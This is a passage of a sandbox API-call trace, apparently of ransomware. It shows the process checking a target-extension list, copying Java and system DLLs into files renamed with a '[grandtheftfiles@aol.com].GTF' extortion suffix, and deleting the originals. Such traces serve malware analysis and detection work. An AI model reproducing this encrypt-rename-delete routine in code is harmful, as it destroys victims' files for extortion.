	[0089.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.947] lstrlenW (lpString=".xlsx") returned 5
	[0089.947] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0089.948] lstrlenW (lpString=".ppt") returned 4
	[0089.948] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.948] lstrlenW (lpString=".zip") returned 4
	[0089.948] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.948] lstrlenW (lpString=".rar") returned 4
	[0089.948] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.948] lstrlenW (lpString=".bz2") returned 4
	[0089.948] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.948] lstrlenW (lpString=".7z") returned 3
	[0089.948] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.948] lstrlenW (lpString=".dbf") returned 4
	[0089.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.948] lstrlenW (lpString=".1cd") returned 4
	[0089.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned 53
	[0089.948] lstrlenW (lpString=".jpg") returned 4
	[0089.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.948] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0089.948] lstrlenW (lpString="wab32res.dll.mui") returned 16
	[0089.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.951] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=94208) returned 1
	[0089.951] CloseHandle (hObject=0x2fc) returned 1
	[0089.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20
	[0089.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59
	[0089.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59
	[0089.951] lstrlenW (lpString=".doc") returned 4
	[0089.951] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.951] lstrlenW (lpString=".docx") returned 5
	[0089.952] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.952] lstrlenW (lpString=".pdf") returned 4
	[0089.952] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.952] lstrlenW (lpString=".xls") returned 4
	[0089.952] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.952] lstrlenW (lpString=".xlsx") returned 5
	[0089.952] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.952] lstrlenW (lpString=".ppt") returned 4
	[0089.952] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59
	[0089.952] lstrlenW (lpString=".zip") returned 4
	[0089.952] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.952] lstrlenW (lpString=".rar") returned 4
	[0089.952] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.952] lstrlenW (lpString=".bz2") returned 4
	[0089.952] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.952] lstrlenW (lpString=".7z") returned 3
	[0089.952] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59
	[0089.952] lstrlenW (lpString=".dbf") returned 4
	[0089.952] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.986] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.986] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0089.986] GetLastError () returned 0x0
	[0089.986] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0090.468] WriteFile (in: hFile=0x374, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0090.486] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x72450, lpOverlapped=0x0) returned 1
	[0090.500] WriteFile (in: hFile=0x374, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x72460, lpOverlapped=0x0) returned 1
	[0090.510] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.510] WriteFile (in: hFile=0x374, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0090.510] SetEndOfFile (hFile=0x374) returned 1
	[0090.511] CloseHandle (hObject=0x374) returned 1
	[0090.511] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.511] SetEndOfFile (hFile=0x364) returned 1
	[0090.879] CloseHandle (hObject=0x364) returned 1
	[0090.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.879] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1
	[0090.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.880] lstrlenW (lpString=".doc") returned 4
	[0090.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.880] lstrlenW (lpString=".docx") returned 5
	[0090.880] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0090.880] lstrlenW (lpString=".pdf") returned 4
	[0090.880] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.880] lstrlenW (lpString=".xls") returned 4
	[0090.880] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.880] lstrlenW (lpString=".xlsx") returned 5
	[0090.880] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0090.880] lstrlenW (lpString=".ppt") returned 4
	[0090.880] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.880] lstrlenW (lpString=".zip") returned 4
	[0090.880] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.880] lstrlenW (lpString=".rar") returned 4
	[0090.880] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.880] lstrlenW (lpString=".bz2") returned 4
	[0090.880] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.880] lstrlenW (lpString=".7z") returned 3
	[0090.880] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".dbf") returned 4
	[0090.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".1cd") returned 4
	[0090.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".jpg") returned 4
	[0090.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".doc") returned 4
	[0090.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString=".docx") returned 5
	[0090.881] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0090.881] lstrlenW (lpString=".pdf") returned 4
	[0090.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString=".xls") returned 4
	[0090.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString=".xlsx") returned 5
	[0090.881] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0090.881] lstrlenW (lpString=".ppt") returned 4
	[0090.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".zip") returned 4
	[0090.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString=".rar") returned 4
	[0090.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.881] lstrlenW (lpString=".bz2") returned 4
	[0090.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.881] lstrlenW (lpString=".7z") returned 3
	[0090.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".dbf") returned 4
	[0090.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.881] lstrlenW (lpString=".1cd") returned 4
	[0090.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.882] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46
	[0090.882] lstrlenW (lpString=".jpg") returned 4
	[0090.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.882] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.882] lstrlenW (lpString="fxplugins.dll") returned 13
	[0090.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0090.883] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=186944) returned 1
	[0090.883] CloseHandle (hObject=0x364) returned 1
	[0090.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20
	[0090.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0090.883] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.883] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0090.883] GetLastError () returned 0x0
	[0090.884] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x2da40, lpOverlapped=0x0) returned 1
	[0090.888] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x2da50, lpOverlapped=0x0) returned 1
	[0090.891] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.891] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1
	[0090.892] SetEndOfFile (hFile=0x398) returned 1
	[0090.892] CloseHandle (hObject=0x398) returned 1
	[0090.892] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.892] SetEndOfFile (hFile=0x364) returned 1
	[0090.894] CloseHandle (hObject=0x364) returned 1
	[0090.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.894] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1
	[0090.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.894] lstrlenW (lpString=".doc") returned 4
	[0090.894] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.894] lstrlenW (lpString=".docx") returned 5
	[0090.894] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0090.894] lstrlenW (lpString=".pdf") returned 4
	[0090.894] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.894] lstrlenW (lpString=".xls") returned 4
	[0090.894] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.894] lstrlenW (lpString=".xlsx") returned 5
	[0090.894] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0090.894] lstrlenW (lpString=".ppt") returned 4
	[0090.894] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.894] lstrlenW (lpString=".zip") returned 4
	[0090.895] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".rar") returned 4
	[0090.895] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".bz2") returned 4
	[0090.895] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.895] lstrlenW (lpString=".7z") returned 3
	[0090.895] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.895] lstrlenW (lpString=".dbf") returned 4
	[0090.895] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.895] lstrlenW (lpString=".1cd") returned 4
	[0090.895] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.895] lstrlenW (lpString=".jpg") returned 4
	[0090.895] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.895] lstrlenW (lpString=".doc") returned 4
	[0090.895] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".docx") returned 5
	[0090.895] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0090.895] lstrlenW (lpString=".pdf") returned 4
	[0090.895] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".xls") returned 4
	[0090.895] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".xlsx") returned 5
	[0090.895] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0090.895] lstrlenW (lpString=".ppt") returned 4
	[0090.895] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.895] lstrlenW (lpString=".zip") returned 4
	[0090.895] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".rar") returned 4
	[0090.895] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.895] lstrlenW (lpString=".bz2") returned 4
	[0090.896] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.896] lstrlenW (lpString=".7z") returned 3
	[0090.896] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.896] lstrlenW (lpString=".dbf") returned 4
	[0090.896] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.896] lstrlenW (lpString=".1cd") returned 4
	[0090.896] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52
	[0090.896] lstrlenW (lpString=".jpg") returned 4
	[0090.896] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.896] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.896] lstrlenW (lpString="glass.dll") returned 9
	[0090.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0090.896] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=265792) returned 1
	[0090.896] CloseHandle (hObject=0x364) returned 1
	[0090.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20
	[0090.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.897] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0090.897] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.897] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.897] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0090.897] GetLastError () returned 0x0
	[0090.897] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x40e40, lpOverlapped=0x0) returned 1
	[0090.904] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x40e50, lpOverlapped=0x0) returned 1
	[0090.909] ReadFile (in: hFile=0x364, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.909] WriteFile (in: hFile=0x398, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0090.909] SetEndOfFile (hFile=0x398) returned 1
	[0090.909] CloseHandle (hObject=0x398) returned 1
	[0090.909] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.909] SetEndOfFile (hFile=0x364) returned 1
	[0090.912] CloseHandle (hObject=0x364) returned 1
	[0090.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.912] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1
	[0090.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.912] lstrlenW (lpString=".doc") returned 4
	[0090.912] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.912] lstrlenW (lpString=".docx") returned 5
	[0090.913] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0090.913] lstrlenW (lpString=".pdf") returned 4
	[0090.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString=".xls") returned 4
	[0090.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString=".xlsx") returned 5
	[0090.913] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0090.913] lstrlenW (lpString=".ppt") returned 4
	[0090.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.913] lstrlenW (lpString=".zip") returned 4
	[0090.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString=".rar") returned 4
	[0090.913] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.913] lstrlenW (lpString=".bz2") returned 4
	[0090.913] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.913] lstrlenW (lpString=".7z") returned 3
	[0090.913] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.913] lstrlenW (lpString=".dbf") returned 4
	[0090.913] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48
	[0090.913] lstrlenW (lpString=".1cd") returned 4
	[0090.913] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
